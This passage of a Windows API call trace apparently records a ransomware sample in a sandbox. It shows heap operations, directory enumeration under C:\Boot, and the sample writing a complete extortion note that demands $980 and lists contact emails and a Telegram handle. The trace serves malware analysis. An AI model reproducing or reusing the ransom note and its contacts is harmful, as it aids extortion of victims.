RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.590] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.590] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.590] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.590] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.590] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.590] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.590] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.590] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.590] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.590] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.590] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.590] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.590] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.590] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.590] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.590] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.590] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.590] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.590] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.590] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.590] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.590] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.590] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.590] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.590] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.590] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.590] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.590] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.590] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.590] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.591] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.591] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.591] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.591] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.591] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.591] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.591] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.591] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.591] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.591] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.591] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.591] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.591] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.591] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.591] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.591] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.591] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.591] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.591] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.591] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.591] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.591] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.591] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.591] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.591] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.591] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.591] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.591] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.591] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.591] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.591] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.591] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.591] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.591] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.592] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.592] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.592] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.592] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.592] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.592] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.592] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.592] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.592] PathFindFileNameW (pszPath="C:\\Boot\\nb-NO\\") returned="nb-NO\\" [0124.592] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.592] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.592] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.592] PathFindFileNameW (pszPath="") returned="" [0124.592] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x768b0000 [0124.592] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetFolderPathW") returned 0x76935708 [0124.592] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x30f90a8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.592] FreeLibrary (hLibModule=0x768b0000) returned 1 [0124.592] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.592] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.592] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.593] PathAppendW (in: pszPath="C:\\Boot\\nb-NO\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\nb-NO\\_readme.txt") returned 1 [0124.593] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.593] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.593] PathFileExistsW (pszPath="C:\\Boot\\nb-NO\\_readme.txt") returned 0 [0124.593] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x7d00) returned 0x30fa550 [0124.593] lstrcpyW (in: lpString1=0x30fa550, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" [0124.593] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg", lpString2="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" [0124.593] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9bf0 [0124.593] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\_readme.txt" (normalized: "c:\\boot\\nb-no\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.593] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9bf0 | out: hHeap=0x5c0000) returned 1 [0124.593] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa550 | out: hHeap=0x5c0000) returned 1 [0124.593] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.593] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.593] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.593] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.593] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.594] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.594] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.594] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.594] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.594] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.594] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.594] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.594] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.594] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.594] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.594] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.594] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.594] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.594] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.594] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.594] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.594] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.594] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.594] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.594] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.594] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.594] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.594] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.594] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.594] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.594] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.594] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.594] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.595] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.595] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.595] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.595] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.595] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.595] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.595] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.595] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.595] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.595] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.595] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.595] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.595] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.595] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.595] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.595] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.595] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.595] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.595] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.595] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.595] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.595] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.595] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.595] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.595] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.595] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.595] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.595] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.595] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.595] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.595] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.595] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.595] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.595] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.596] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.596] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.596] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.596] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.596] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.596] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.596] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.596] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.596] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.596] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.596] HeapFree (in: hHeap=0x5c0000, 